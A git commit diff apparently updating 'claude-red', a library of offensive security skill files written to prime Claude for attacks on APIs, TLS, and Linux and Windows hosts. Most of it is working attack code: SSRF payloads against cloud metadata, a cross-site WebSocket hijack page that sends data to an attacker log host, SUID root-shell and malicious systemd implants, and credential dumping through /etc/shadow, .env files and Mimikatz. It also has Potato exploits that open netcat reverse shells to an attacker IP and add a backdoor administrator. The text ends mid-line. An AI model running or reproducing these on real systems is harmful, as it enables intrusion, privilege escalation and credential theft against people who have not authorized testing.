claude-red is a curated library of offensive security skills designed for the Claude skills system. Each skill is a structured SKILL.md file that primes Claude with expert-level methodology for a specific attack surface — from SQLi to shellcode, EDR evasion to exploit development.
Update skills with late-arriving agent refinements
Claude1885f44bd586
diff --git a/Skills/api/offensive-api-security/SKILL.md b/Skills/api/offensive-api-security/SKILL.mdindex 2c257af..b8dbb43 100644--- a/Skills/api/offensive-api-security/SKILL.md+++ b/Skills/api/offensive-api-security/SKILL.md@@ -26,8 +26,6 @@ You are conducting authorized security assessments against API-driven applicatioBroken Object Level Authorization (BOLA) is the most prevalent API vulnerability. You test it by capturing a legitimate request containing an object identifier and replaying it with identifiers belonging to other users or tenants.-Capture a request that returns user-specific data:-```httpGET /api/v1/users/1001/orders HTTP/1.1Authorization: Bearer eyJhbGciOi...user_a_token@@ -82,14 +80,11 @@ doneTest authentication endpoints for credential stuffing resilience, token lifecycle weaknesses, and information leakage in API responses.-Probe for missing rate limits on login:-```bash-# Rapid credential testing against login endpoint+# Rapid credential testing -- probe for missing rate limits on loginfor i in $(seq 1 100); docode=$(curl -s -o /dev/null -w "%{http_code}" \- -X POST \- -H "Content-Type: application/json" \+ -X POST -H "Content-Type: application/json" \-d "{\"email\":\"[email protected]\",\"password\":\"attempt${i}\"}" \"https://target.example.com/api/v1/auth/login")echo "Attempt ${i}: HTTP ${code}"@@ -97,30 +92,25 @@ for i in $(seq 1 100); dodone```-Check for excessive data exposure by comparing full API responses against what the UI renders:+Check for excessive data exposure by comparing full API responses against what the UI renders. Look for internal IDs, other users' emails, hashed passwords, role assignments, or PII the client never displays:```bash-# Fetch user profile and inspect all returned fieldscurl -s -H "Authorization: Bearer $TOKEN" \"https://target.example.com/api/v1/users/me" | jq .```-Look for fields that should not be exposed: internal IDs, email addresses of other users, hashed passwords, role assignments, internal metadata, or PII that the client application never displays.-Test token validation weaknesses:```bash-# Test expired token acceptance-curl -s -o /dev/null -w "%{http_code}" \+# Expired token, post-password-change token, malformed bearer values+curl -s -o /dev/null -w "Expired: %{http_code}\n" \-H "Authorization: Bearer $EXPIRED_TOKEN" \"https://target.example.com/api/v1/users/me"-# Test token after password change (should be invalidated)-curl -s -o /dev/null -w "%{http_code}" \+curl -s -o /dev/null -w "Pre-change: %{http_code}\n" \-H "Authorization: Bearer $PRE_PASSWORD_CHANGE_TOKEN" \"https://target.example.com/api/v1/users/me"-# Test with empty/malformed bearer valuesfor val in "" "null" "undefined" "Bearer" "Bearer "; docurl -s -o /dev/null -w "Value '${val}' -> %{http_code}\n" \-H "Authorization: ${val}" \@@ -146,30 +136,17 @@ done``````bash-# Test pagination abuse -- request excessive page sizes+# Pagination abuse and large payload submissioncurl -s -H "Authorization: Bearer $TOKEN" \- "https://target.example.com/api/v1/products?page=1&per_page=100000" | \- jq 'length'--# Test deep pagination-curl -s -o /dev/null -w "Page 999999 -> %{http_code}, Size: %{size_download}\n" \- -H "Authorization: Bearer $TOKEN" \- "https://target.example.com/api/v1/products?page=999999"-```--Test resource-intensive operations for denial-of-service potential:+ "https://target.example.com/api/v1/products?page=1&per_page=100000" | jq 'length'-```bash-# Large payload submissionpython3 -c "import json, syspayload = {'name': 'A' * 1000000, 'tags': ['x'] * 10000}sys.stdout.write(json.dumps(payload))-" | curl -s -o /dev/null -w "%{http_code}" \- -X POST \- -H "Authorization: Bearer $TOKEN" \- -H "Content-Type: application/json" \- -d @- \+" | curl -s -o /dev/null -w "Large payload: %{http_code}\n" \+ -X POST -H "Authorization: Bearer $TOKEN" \+ -H "Content-Type: application/json" -d @- \"https://target.example.com/api/v1/products"```@@ -177,7 +154,7 @@ sys.stdout.write(json.dumps(payload))## BFLA and Mass Assignment-Broken Function Level Authorization (BFLA) occurs when low-privilege users can invoke administrative or privileged API functions. Mass assignment exploits occur when the API binds client-supplied data directly to internal object properties.+Broken Function Level Authorization (BFLA) occurs when low-privilege users can invoke administrative API functions. Mass assignment exploits occur when the API binds client-supplied data directly to internal object properties.```bash# BFLA: Test admin endpoints with regular user token@@ -194,17 +171,14 @@ for ep in "${admin_endpoints[@]}"; domethod=$(echo "$ep" | cut -d' ' -f1)path=$(echo "$ep" | cut -d' ' -f2)code=$(curl -s -o /dev/null -w "%{http_code}" \- -X "$method" \- -H "Authorization: Bearer $REGULAR_USER_TOKEN" \+ -X "$method" -H "Authorization: Bearer $REGULAR_USER_TOKEN" \"https://target.example.com${path}")echo "${method} ${path} -> HTTP ${code}"done```-Mass assignment testing -- inject properties that should not be user-controllable:-```bash-# Attempt role escalation via mass assignment+# Mass assignment: inject properties that should not be user-controllablecurl -s -X PUT \-H "Authorization: Bearer $TOKEN" \-H "Content-Type: application/json" \@@ -214,21 +188,11 @@ curl -s -X PUT \"is_admin": true,"permissions": ["admin", "superuser"],"account_type": "premium",- "verified": true,"credit_balance": 99999}' \"https://target.example.com/api/v1/users/me" | jq .```-```bash-# Test with additional hidden fields discovered from API responses or docs-curl -s -X PATCH \- -H "Authorization: Bearer $TOKEN" \- -H "Content-Type: application/json" \- -d '{"internal_id": 1, "tenant_id": "other-tenant", "created_by": "admin"}' \- "https://target.example.com/api/v1/resources/5001" | jq .-```----## REST Verb Tampering and Content-Type Switching@@ -239,8 +203,7 @@ APIs sometimes apply security controls only to expected HTTP methods or content# Verb tampering: test all methods against a restricted endpointfor method in GET POST PUT PATCH DELETE OPTIONS HEAD TRACE; docode=$(curl -s -o /dev/null -w "%{http_code}" \- -X "$method" \- -H "Authorization: Bearer $TOKEN" \+ -X "$method" -H "Authorization: Bearer $TOKEN" \"https://target.example.com/api/v1/admin/settings")echo "${method} -> HTTP ${code}"done@@ -254,34 +217,27 @@ curl -s -X POST \"https://target.example.com/api/v1/users/1002"curl -s -X POST \- -H "X-Method-Override: PUT" \- -H "X-HTTP-Method: PATCH" \+ -H "X-Method-Override: PUT" -H "X-HTTP-Method: PATCH" \-H "Authorization: Bearer $TOKEN" \-H "Content-Type: application/json" \-d '{"role":"admin"}' \"https://target.example.com/api/v1/users/me"```-Content-type switching to bypass input validation:-```bash-# Switch from JSON to form-encoded-curl -s -X POST \- -H "Authorization: Bearer $TOKEN" \+# Content-type switching and parameter pollution+curl -s -X POST -H "Authorization: Bearer $TOKEN" \-H "Content-Type: application/x-www-form-urlencoded" \-d "username=admin&password=test&role=admin" \"https://target.example.com/api/v1/users"-# Switch to XML if the backend supports multiple parsers-curl -s -X POST \- -H "Authorization: Bearer $TOKEN" \+curl -s -X POST -H "Authorization: Bearer $TOKEN" \-H "Content-Type: application/xml" \-d '<?xml version="1.0"?><user><name>test</name><role>admin</role></user>' \"https://target.example.com/api/v1/users"# Parameter pollution via duplicate keys-curl -s -X GET \- -H "Authorization: Bearer $TOKEN" \+curl -s -H "Authorization: Bearer $TOKEN" \"https://target.example.com/api/v1/transfer?to=attacker&amount=100&to=victim"```@@ -292,23 +248,18 @@ curl -s -X GET \Server-Side Request Forgery through URL-accepting API parameters allows you to reach internal services or cloud metadata endpoints.```bash-# Test URL parameters for SSRFssrf_payloads=("http://169.254.169.254/latest/meta-data/""http://metadata.google.internal/computeMetadata/v1/""http://127.0.0.1:8080/admin"- "http://localhost:6379/""http://[::1]:8080/""http://0x7f000001/"- "http://2130706433/"- "http://017700000001/""http://internal-service.local/")for payload in "${ssrf_payloads[@]}"; doecho "--- Testing: ${payload}"- curl -s -X POST \- -H "Authorization: Bearer $TOKEN" \+ curl -s -X POST -H "Authorization: Bearer $TOKEN" \-H "Content-Type: application/json" \-d "{\"webhook_url\": \"${payload}\"}" \"https://target.example.com/api/v1/integrations/webhook" | head -c 500@@ -316,17 +267,15 @@ for payload in "${ssrf_payloads[@]}"; dodone```+Test SSRF through import/export and profile features:+```bash-# SSRF via file import/export features-curl -s -X POST \- -H "Authorization: Bearer $TOKEN" \+curl -s -X POST -H "Authorization: Bearer $TOKEN" \-H "Content-Type: application/json" \-d '{"import_url": "http://169.254.169.254/latest/user-data"}' \"https://target.example.com/api/v1/data/import"-# SSRF via profile picture / avatar URL-curl -s -X PUT \- -H "Authorization: Bearer $TOKEN" \+curl -s -X PUT -H "Authorization: Bearer $TOKEN" \-H "Content-Type: application/json" \-d '{"avatar_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}' \"https://target.example.com/api/v1/users/me/profile"@@ -338,34 +287,20 @@ curl -s -X PUT \gRPC services expose a different attack surface than REST. You use reflection to enumerate services, grpcurl to craft requests, and mitmproxy to intercept protobuf traffic.-Enumerate services via gRPC reflection:-```bash-# List all services exposed via reflection+# Enumerate services via gRPC reflectiongrpcurl -plaintext target.example.com:50051 list--# Describe a specific servicegrpcurl -plaintext target.example.com:50051 describe myapp.UserService--# Describe a specific method including request/response typesgrpcurl -plaintext target.example.com:50051 describe myapp.UserService.GetUser```-Invoke methods and test authorization:-```bash-# Call a method with authentication metadata+# Test BOLA on gRPC -- access another user's data with your tokengrpcurl -plaintext \-H "authorization: Bearer $TOKEN_A" \-d '{"user_id": "1002"}' \target.example.com:50051 myapp.UserService/GetUser-# Test BOLA on gRPC -- access another user's data-grpcurl -plaintext \- -H "authorization: Bearer $TOKEN_A" \- -d '{"user_id": "1003"}' \- target.example.com:50051 myapp.UserService/GetUser-# Test admin methods with regular user credentialsgrpcurl -plaintext \-H "authorization: Bearer $REGULAR_TOKEN" \@@ -376,7 +311,6 @@ grpcurl -plaintext \Metadata injection -- gRPC metadata headers can be exploited similarly to HTTP headers:```bash-# Inject internal routing headersgrpcurl -plaintext \-H "authorization: Bearer $TOKEN" \-H "x-forwarded-for: 127.0.0.1" \@@ -392,22 +326,18 @@ Intercept and modify gRPC traffic with mitmproxy:# mitmproxy addon for gRPC inspection (save as grpc_inspector.py)# Run: mitmproxy -s grpc_inspector.py --mode reverse:https://target:50051from mitmproxy import http-import jsonclass GrpcInspector:def request(self, flow: http.HTTPFlow):if flow.request.headers.get("content-type", "").startswith("application/grpc"):- # Log gRPC method from pathprint(f"[gRPC] {flow.request.method} {flow.request.path}")- # Log metadata headersfor k, v in flow.request.headers.items():if not k.startswith(":"):print(f" Metadata: {k}: {v}")def response(self, flow: http.HTTPFlow):if flow.response and "grpc-status" in flow.response.headers:- status = flow.response.headers.get("grpc-status", "unknown")- print(f"[gRPC Response] Status: {status}")+ print(f"[gRPC Response] Status: {flow.response.headers['grpc-status']}")addons = [GrpcInspector()]```@@ -418,82 +348,52 @@ addons = [GrpcInspector()]WebSocket connections bypass many traditional HTTP security controls. You test origin validation, message injection, authentication persistence, and cross-site WebSocket hijacking.-Test origin validation:-```bash-# Connect with a spoofed origin using websocat-websocat -H "Origin: https://evil.example.com" \- "wss://target.example.com/ws/chat"--# Connect with no origin header-websocat "wss://target.example.com/ws/chat"--# Test with matching subdomain origins-websocat -H "Origin: https://subdomain.target.example.com" \- "wss://target.example.com/ws/chat"+# Origin validation testing with websocat+websocat -H "Origin: https://evil.example.com" "wss://target.example.com/ws/chat"+websocat "wss://target.example.com/ws/chat" # no origin+websocat -H "Origin: https://subdomain.target.example.com" "wss://target.example.com/ws/chat"```-WebSocket message injection and manipulation:-```python#!/usr/bin/env python3"""WebSocket message fuzzing and injection testing."""-import asyncio-import websockets-import json+import asyncio, websockets, jsonasync def test_ws_injection(url, token):headers = {"Cookie": f"session={token}"}-async with websockets.connect(url, extra_headers=headers) as ws:- # Test message type confusiontest_payloads = [- # Normal messagejson.dumps({"type": "message", "content": "hello"}),- # Attempt to impersonate another userjson.dumps({"type": "message", "content": "hello", "user_id": "1002"}),- # Attempt admin actionsjson.dumps({"type": "admin_broadcast", "content": "injected"}),- # Server-side command injection attemptsjson.dumps({"type": "subscribe", "channel": "../admin/notifications"}),- # Oversized messagejson.dumps({"type": "message", "content": "A" * 1000000}),- # Binary frame injection- json.dumps({"type": "message", "content": "\x00\x01\x02\x03"}),]-for payload in test_payloads:await ws.send(payload)try:response = await asyncio.wait_for(ws.recv(), timeout=3)- print(f"Sent: {payload[:80]}")- print(f"Recv: {response[:200]}")- print("---")+ print(f"Sent: {payload[:80]}\nRecv: {response[:200]}\n---")except asyncio.TimeoutError:- print(f"Sent: {payload[:80]} -> No response (timeout)")- print("---")+ print(f"Sent: {payload[:80]} -> No response\n---")asyncio.run(test_ws_injection("wss://target.example.com/ws/chat", "SESSION_TOKEN"))```-Cross-Site WebSocket Hijacking (CSWSH) proof of concept:+Cross-Site WebSocket Hijacking (CSWSH) verification:```html-<!-- CSWSH test page -- host on attacker-controlled domain -->-<!-- For authorized testing only: verifies origin validation -->+<!-- Host on attacker-controlled domain -- authorized testing only --><script>var ws = new WebSocket("wss://target.example.com/ws/chat");ws.onopen = function() {- console.log("[CSWSH] Connection opened -- origin validation is missing");+ console.log("[CSWSH] Connection opened -- origin validation missing");ws.send(JSON.stringify({type: "message", content: "cswsh-test"}));};ws.onmessage = function(evt) {console.log("[CSWSH] Received: " + evt.data);- // Exfiltrate to your logging server- fetch("https://attacker-log.example.com/log", {- method: "POST",- body: evt.data- });+ fetch("https://attacker-log.example.com/log", {method: "POST", body: evt.data});};ws.onerror = function(e) {console.log("[CSWSH] Connection failed -- origin may be validated");@@ -503,14 +403,13 @@ Cross-Site WebSocket Hijacking (CSWSH) proof of concept:----## API Versioning Attacks+## API Versioning and Security Misconfiguration-APIs that maintain multiple versions often have inconsistent security controls across versions. You probe for deprecated versions that lack patches applied to current versions.+APIs that maintain multiple versions often have inconsistent security controls. Deprecated versions may lack patches applied to current versions.```bash# Enumerate API versions-versions=("v1" "v2" "v3" "v0" "v1.0" "v2.0" "v1-beta" "v2-beta" "internal" "latest" "dev" "staging")-+versions=("v1" "v2" "v3" "v0" "v1-beta" "v2-beta" "internal" "latest" "dev" "staging")for ver in "${versions[@]}"; docode=$(curl -s -o /dev/null -w "%{http_code}" \-H "Authorization: Bearer $TOKEN" \@@ -519,70 +418,32 @@ for ver in "${versions[@]}"; dodone```-```bash-# Test version header variations-for ver in "1" "2" "3" "2023-01-01" "2024-01-01"; do- code=$(curl -s -o /dev/null -w "%{http_code}" \- -H "Authorization: Bearer $TOKEN" \- -H "Api-Version: ${ver}" \- -H "X-Api-Version: ${ver}" \- -H "Accept: application/vnd.api+json; version=${ver}" \- "https://target.example.com/api/users/me")- echo "Version header '${ver}' -> HTTP ${code}"-done--# Compare security controls between versions-echo "=== v2 (current) ==="-curl -s -o /dev/null -w "%{http_code}" \- -H "Authorization: Bearer $TOKEN_A" \- "https://target.example.com/api/v2/users/1002/orders"--echo "=== v1 (legacy) ==="-curl -s -o /dev/null -w "%{http_code}" \- -H "Authorization: Bearer $TOKEN_A" \- "https://target.example.com/api/v1/users/1002/orders"-```-------## Security Misconfiguration--Test for common API misconfigurations that expose sensitive data or functionality.-```bash# Check for exposed documentation and debug endpointsendpoints=("/swagger.json" "/swagger-ui/" "/openapi.json" "/api-docs""/graphql" "/graphiql" "/.well-known/openid-configuration"- "/actuator" "/actuator/env" "/actuator/health" "/actuator/beans"- "/debug" "/trace" "/metrics" "/health" "/info" "/env"- "/_profiler" "/elmah.axd" "/api/debug"+ "/actuator" "/actuator/env" "/actuator/health"+ "/debug" "/trace" "/metrics" "/_profiler")-for ep in "${endpoints[@]}"; do- code=$(curl -s -o /dev/null -w "%{http_code}" \- "https://target.example.com${ep}")+ code=$(curl -s -o /dev/null -w "%{http_code}" "https://target.example.com${ep}")[ "$code" != "404" ] && [ "$code" != "000" ] && echo "${ep} -> HTTP ${code}"done``````bash-# Check CORS configuration+# CORS misconfiguration testingcurl -s -D - -o /dev/null \- -H "Origin: https://evil.example.com" \- -X OPTIONS \+ -H "Origin: https://evil.example.com" -X OPTIONS \"https://target.example.com/api/v1/users/me" 2>&1 | \- grep -iE "access-control|allow-origin|allow-credentials|allow-methods"+ grep -iE "access-control|allow-origin|allow-credentials"-# Test with null origin-curl -s -D - -o /dev/null \- -H "Origin: null" \- "https://target.example.com/api/v1/users/me" 2>&1 | \- grep -i "access-control"+curl -s -D - -o /dev/null -H "Origin: null" \+ "https://target.example.com/api/v1/users/me" 2>&1 | grep -i "access-control"-# Check security headers-curl -s -D - -o /dev/null \- "https://target.example.com/api/v1/health" 2>&1 | \+# Security header audit+curl -s -D - -o /dev/null "https://target.example.com/api/v1/health" 2>&1 | \grep -iE "x-content-type|x-frame|strict-transport|content-security|x-powered-by|server:"```@@ -590,21 +451,21 @@ curl -s -D - -o /dev/null \## Detection / Defender View-When you run these tests, you leave artifacts that defenders and monitoring systems detect. Understand what you trigger:+When you run these tests, you leave artifacts that defenders and monitoring systems detect:-- **BOLA/IDOR probes** generate sequences of requests with incrementing or random object IDs from a single authenticated session. WAFs and API gateways log unusual access patterns across object identifiers. Anomaly detection flags accounts accessing resources outside their normal scope.+- **BOLA/IDOR probes** generate sequences of requests with incrementing or random object IDs from a single session. API gateways log unusual access patterns across object identifiers. Anomaly detection flags accounts accessing resources outside their normal scope.-- **Rate limit testing** produces burst traffic patterns visible in access logs and API gateway metrics. HTTP 429 responses are typically logged and alerted on. Repeated authentication failures trigger account lockout mechanisms and SIEM alerts.+- **Rate limit testing** produces burst traffic visible in access logs. HTTP 429 responses trigger SIEM alerts. Repeated authentication failures activate account lockout mechanisms.-- **Verb tampering and method override** requests with unusual HTTP methods (TRACE, PATCH with override headers) stand out in access logs. Security-conscious applications log and alert on method override header usage.+- **Verb tampering and method override** requests with unusual HTTP methods or override headers stand out in access logs. Security-conscious applications alert on method override header usage.-- **gRPC reflection enumeration** is logged by gRPC interceptors. Calls to the reflection service from non-development IPs trigger alerts in mature environments. Metadata injection attempts appear in gRPC access logs.+- **gRPC reflection enumeration** is logged by interceptors. Calls to the reflection service from non-development IPs trigger alerts. Metadata injection attempts appear in gRPC access logs.-- **WebSocket testing** generates connection attempts with unusual Origin headers that are logged at the load balancer layer. High-frequency message sending is visible in application logs. CSWSH attempts may trigger CSP violation reports.+- **WebSocket testing** generates connection attempts with unusual Origin headers logged at the load balancer. CSWSH attempts may trigger CSP violation reports.-- **SSRF payloads** containing internal IP addresses, cloud metadata URLs, or localhost references are flagged by WAFs and input validation layers. Outbound connections from the API server to unexpected destinations trigger network monitoring alerts.+- **SSRF payloads** containing internal IPs or metadata URLs are flagged by WAFs. Outbound connections to unexpected destinations trigger network monitoring alerts.-- **Version probing** creates 404 bursts across multiple URL path prefixes from a single source IP, visible in web server access logs.+- **Version probing** creates 404 bursts across multiple path prefixes from a single source IP.---@@ -612,36 +473,32 @@ When you run these tests, you leave artifacts that defenders and monitoring syst| Phase | Action | Tool ||-------|--------|------|-| Reconnaissance | Collect API specs | Burp Suite crawler, Swagger/OpenAPI endpoints |+| Reconnaissance | Collect API specs | Burp crawler, Swagger endpoints || Reconnaissance | gRPC service enumeration | grpcurl with reflection |-| Reconnaissance | WebSocket endpoint discovery | Burp Suite, browser DevTools |+| Reconnaissance | WebSocket endpoint discovery | Burp Suite, DevTools || Authentication | Token lifecycle testing | curl, Burp Repeater |-| Authentication | Brute-force resilience | Burp Intruder, custom scripts || Authorization | BOLA/IDOR across objects | curl loops, Burp Intruder || Authorization | BFLA across roles | curl with multiple tokens || Input handling | Mass assignment | curl, Postman |-| Input handling | Content-type switching | curl with varied Content-Type headers |-| Input handling | Parameter pollution | curl, Burp Repeater |+| Input handling | Content-type switching | curl with varied headers || Protocol | gRPC metadata injection | grpcurl |-| Protocol | gRPC protobuf manipulation | mitmproxy with custom addon |-| Protocol | WebSocket message injection | websocat, Python websockets |+| Protocol | gRPC protobuf interception | mitmproxy with addon |+| Protocol | WebSocket injection | websocat, Python websockets || Protocol | CSWSH verification | Custom HTML test page || Infrastructure | SSRF via URL parameters | curl, Burp Collaborator || Infrastructure | API versioning bypass | curl version enumeration || Infrastructure | Misconfiguration scan | curl, Burp scanner |-| Reporting | Consolidate findings | Burp reports, manual documentation |---## Key References- OWASP API Security Top 10 2023: https://owasp.org/API-Security/editions/2023/en/0x11-t10/-- OWASP API Security Testing Guide: https://owasp.org/www-project-api-security/- gRPC Security Documentation: https://grpc.io/docs/guides/auth/- WebSocket Security (RFC 6455 Section 10): https://datatracker.ietf.org/doc/html/rfc6455#section-10- Burp Suite API Testing: https://portswigger.net/burp/documentation/desktop/testing-workflow/api-testing-- grpcurl Repository: https://github.com/fullstorydev/grpcurl-- websocat Repository: https://github.com/vi/websocat-- mitmproxy Documentation: https://docs.mitmproxy.org/-- PortSwigger Web Security Academy -- API Testing: https://portswigger.net/web-security/api-testing+- grpcurl: https://github.com/fullstorydev/grpcurl+- websocat: https://github.com/vi/websocat+- mitmproxy: https://docs.mitmproxy.org/+- PortSwigger Academy -- API Testing: https://portswigger.net/web-security/api-testing- "Hacking APIs" by Corey Ball (No Starch Press)diff --git a/Skills/crypto/offensive-tls-attacks/SKILL.md b/Skills/crypto/offensive-tls-attacks/SKILL.mdindex 12db6a2..4e53542 100644--- a/Skills/crypto/offensive-tls-attacks/SKILL.md+++ b/Skills/crypto/offensive-tls-attacks/SKILL.md@@ -394,36 +394,7 @@ openssl s_client -connect target.com:443 -tls1_3 -sess_in session.pem \testssl.sh --grease target.com:443```-```python-import ssl-import socket--def test_0rtt_replay(host, port=443, early_data=b"GET /api/transfer HTTP/1.1\r\nHost: target.com\r\n\r\n"):- """- Test whether a server accepts 0-RTT early data.- If accepted, the early data can be replayed by a network attacker.- """- # First connection: establish session and get ticket- ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)- ctx.minimum_version = ssl.TLSVersion.TLSv1_3- ctx.check_hostname = False- ctx.verify_mode = ssl.CERT_NONE-- with socket.create_connection((host, port)) as sock:- with ctx.wrap_socket(sock, server_hostname=host) as ssock:- ssock.send(b"GET / HTTP/1.1\r\nHost: " + host.encode() + b"\r\n\r\n")- ssock.recv(4096)- # Session ticket is now cached in the context-- # Second connection: attempt 0-RTT with early data- # This requires low-level TLS manipulation; the concept is:- # If the server accepts and processes early_data before the handshake- # completes, a MitM can replay that exact early_data blob-- print("Check server configuration for 0-RTT acceptance")- print("Non-idempotent operations in 0-RTT = replay vulnerability")- return True-```+The two-step openssl test above is definitive: if the second connection succeeds and the server processes the early data file, 0-RTT is accepted. A network attacker who captures the ClientHello and early data from a legitimate connection can replay it verbatim. Target non-idempotent endpoints -- fund transfers, account modifications, order submissions -- where replay has material impact. Servers should implement anti-replay per RFC 8446 Section 8 or reject 0-RTT entirely for state-changing operations.---diff --git a/Skills/privesc/offensive-linux-privesc/SKILL.md b/Skills/privesc/offensive-linux-privesc/SKILL.mdindex ac89802..2d1f30c 100644--- a/Skills/privesc/offensive-linux-privesc/SKILL.md+++ b/Skills/privesc/offensive-linux-privesc/SKILL.md@@ -440,16 +440,7 @@ gcc -fPIC -shared -o /tmp/libcrypt.so.1 preload.csudo LD_LIBRARY_PATH=/tmp /usr/sbin/apache2```-### Shared Library Hijacking (non-sudo)--```bash-# If a SUID binary loads from a writable directory-strace /usr/local/bin/suid_binary 2>&1 | grep "open.*No such file"--# If it tries to load /usr/local/lib/libcustom.so and that path is writable-gcc -fPIC -shared -o /usr/local/lib/libcustom.so preload.c-/usr/local/bin/suid_binary-```+You can also hijack shared libraries loaded by SUID binaries. Use `strace` to find missing library loads from writable directories, then place your malicious `.so` there.---@@ -459,39 +450,24 @@ Writable service files or binaries referenced by services running as root create```bash# Find writable service files-find /etc/systemd/system/ -writable -type f 2>/dev/null-find /lib/systemd/system/ -writable -type f 2>/dev/null-find /etc/init.d/ -writable -type f 2>/dev/null--# Check service binary paths-systemctl list-units --type=service --state=running-# For each service, check if the ExecStart binary is writable+find /etc/systemd/system/ /lib/systemd/system/ /etc/init.d/ -writable -type f 2>/dev/null# Overwrite a writable service binarycp /path/to/service_binary /path/to/service_binary.bak-cat << 'EOF' > /path/to/service_binary-#!/bin/bash-cp /bin/bash /tmp/rootbash-chmod +s /tmp/rootbash-# Call original binary to maintain service-/path/to/service_binary.bak "$@"-EOF+echo -e '#!/bin/bash\ncp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash\n/path/to/service_binary.bak "$@"' > /path/to/service_binarychmod +x /path/to/service_binary-# If you can create systemd service files+# Create a malicious systemd service (if you can write to the service directory)cat << 'EOF' > /etc/systemd/system/escalate.service[Unit]Description=Escalation-[Service]Type=oneshotExecStart=/bin/bash -c 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash'-[Install]WantedBy=multi-user.targetEOF-systemctl daemon-reload-systemctl start escalate.service+systemctl daemon-reload && systemctl start escalate.service```---@@ -510,21 +486,12 @@ cat ~/.bash_historyfind / -name ".*history" -exec cat {} \; 2>/dev/null# Configuration files with credentials-grep -rl "password" /etc/ /opt/ /var/ /home/ 2>/dev/null-grep -rl "pass\|pwd\|token\|secret\|key\|api" /var/www/ /opt/ 2>/dev/null--# Database credentials-find / -name "*.conf" -exec grep -li "password" {} \; 2>/dev/null-cat /var/www/*/wp-config.php 2>/dev/null-cat /var/www/*/.env 2>/dev/null+grep -rl "pass\|pwd\|token\|secret\|key" /etc/ /opt/ /var/www/ /home/ 2>/dev/null+cat /var/www/*/wp-config.php /var/www/*/.env 2>/dev/null-# Backup files+# Backup files and shadowfind / -name "*.bak" -o -name "*.old" -o -name "*.backup" 2>/dev/null--# World-readable shadow filecat /etc/shadow 2>/dev/null--# Writable /etc/shadow (rare but devastating)ls -la /etc/shadow```diff --git a/Skills/privesc/offensive-windows-privesc/SKILL.md b/Skills/privesc/offensive-windows-privesc/SKILL.mdindex 068dc78..8f2f665 100644--- a/Skills/privesc/offensive-windows-privesc/SKILL.md+++ b/Skills/privesc/offensive-windows-privesc/SKILL.md@@ -27,47 +27,18 @@ Windows privilege escalation differs fundamentally from Linux. The attack surfacRun automated tools first to build a comprehensive picture of the attack surface. Review output methodically -- these tools surface findings you would otherwise miss.-### WinPEAS-```powershell-# Execute WinPEAS-.\winPEASx64.exe--# Redirect output for review+# WinPEAS.\winPEASx64.exe > C:\Users\Public\winpeas.txt 2>&1+.\winPEASx64.exe servicesinfo # Specific checks only-# Specific checks only-.\winPEASx64.exe servicesinfo-.\winPEASx64.exe userinfo-.\winPEASx64.exe systeminfo-```--### PowerUp--```powershell-# Import and invoke all checks+# PowerUpImport-Module .\PowerUp.ps1Invoke-AllChecks | Out-File -FilePath C:\Users\Public\powerup.txt-# Targeted checks-Get-ServiceUnquoted-Get-ModifiableServiceFile-Get-ModifiableService-Get-RegistryAlwaysInstallElevated-Get-UnattendedInstallFile-```--### SharpUp and Seatbelt--```powershell-# SharpUp -- compiled .NET version of PowerUp checks+# SharpUp / Seatbelt / BeRoot.\SharpUp.exe audit--# Seatbelt -- comprehensive host survey.\Seatbelt.exe -group=all > C:\Users\Public\seatbelt.txt-.\Seatbelt.exe -group=misc -group=user -group=system--# BeRoot -- another enumeration perspective.\beRoot.exe```@@ -115,29 +86,18 @@ whoami /priv### GodPotato (Windows 8-11, Server 2012-2022)```powershell-# Works across a wide range of Windows versions-.\GodPotato-NET4.exe -cmd "cmd /c whoami"+# Works across a wide range of Windows versions -- choose the right .NET binary.\GodPotato-NET4.exe -cmd "C:\Users\Public\nc.exe attacker_ip 4444 -e cmd.exe"--# Choose the right .NET version-.\GodPotato-NET2.exe -cmd "cmd /c whoami" # Older systems-.\GodPotato-NET35.exe -cmd "cmd /c whoami"```-### SweetPotato+### SweetPotato and RoguePotato```powershell-# Combines multiple potato techniques+# SweetPotato -- combines multiple potato techniques.\SweetPotato.exe -p C:\Windows\System32\cmd.exe -a "/c net user hacker Password123! /add && net localgroup Administrators hacker /add"-```--### RoguePotato (Windows 10 1809+, Server 2019)--```powershell-# Requires a remote machine to receive the OXID resolution-# On attacker machine, set up socat relay:-# socat tcp-listen:135,reuseaddr,fork tcp:target_ip:9999+# RoguePotato (Win10 1809+, Server 2019) -- requires attacker relay on port 135+# Attacker: socat tcp-listen:135,reuseaddr,fork tcp:target_ip:9999.\RoguePotato.exe -r attacker_ip -e "C:\Users\Public\nc.exe attacker_ip 4444 -e cmd.exe" -l 9999```@@ -499,41 +459,21 @@ copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAMcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Users\Public\SYSTEM```-### DPAPI Credential Extraction+### DPAPI and LSA Secrets```powershell-# List DPAPI master keys-dir C:\Users\<username>\AppData\Roaming\Microsoft\Protect\-dir C:\Users\<username>\AppData\Local\Microsoft\Protect\--# List credential blobs-dir C:\Users\<username>\AppData\Roaming\Microsoft\Credentials\-dir C:\Users\<username>\AppData\Local\Microsoft\Credentials\+# DPAPI -- list credential blobs+dir C:\Users\<user>\AppData\Roaming\Microsoft\Credentials\+dir C:\Users\<user>\AppData\Local\Microsoft\Credentials\-# Using Mimikatz to decrypt (requires SYSTEM or user context)+# Mimikatz DPAPI decryption (requires SYSTEM or user context)mimikatz.exe "privilege::debug" "dpapi::cred /in:C:\Users\<user>\AppData\Roaming\Microsoft\Credentials\<blob>" exit# SharpDPAPI for targeted extraction.\SharpDPAPI.exe triage-.\SharpDPAPI.exe credentials /target:C:\Users\<user>\AppData\Roaming\Microsoft\Credentials\-```--### LSA Secrets-```powershell-# Using Mimikatz+# LSA secrets (service account passwords, auto-logon creds, machine account)mimikatz.exe "privilege::debug" "lsadump::secrets" exit--# LSA secrets contain:-# - Service account passwords (stored by SCM)-# - Auto-logon credentials-# - VPN/RAS connection passwords-# - Machine account password--# Using reg save + impacket-reg save HKLM\SECURITY C:\Users\Public\SECURITY-reg save HKLM\SYSTEM C:\Users\Public\SYSTEM-impacket-secretsdump -security SECURITY -system SYSTEM LOCAL```### Credential Manager@@ -542,30 +482,18 @@ impacket-secretsdump -security SECURITY -system SYSTEM LOCAL# Enumerate stored credentialscmdkey /list-# If credentials are stored for admin accounts-# Use runas to execute commands+# 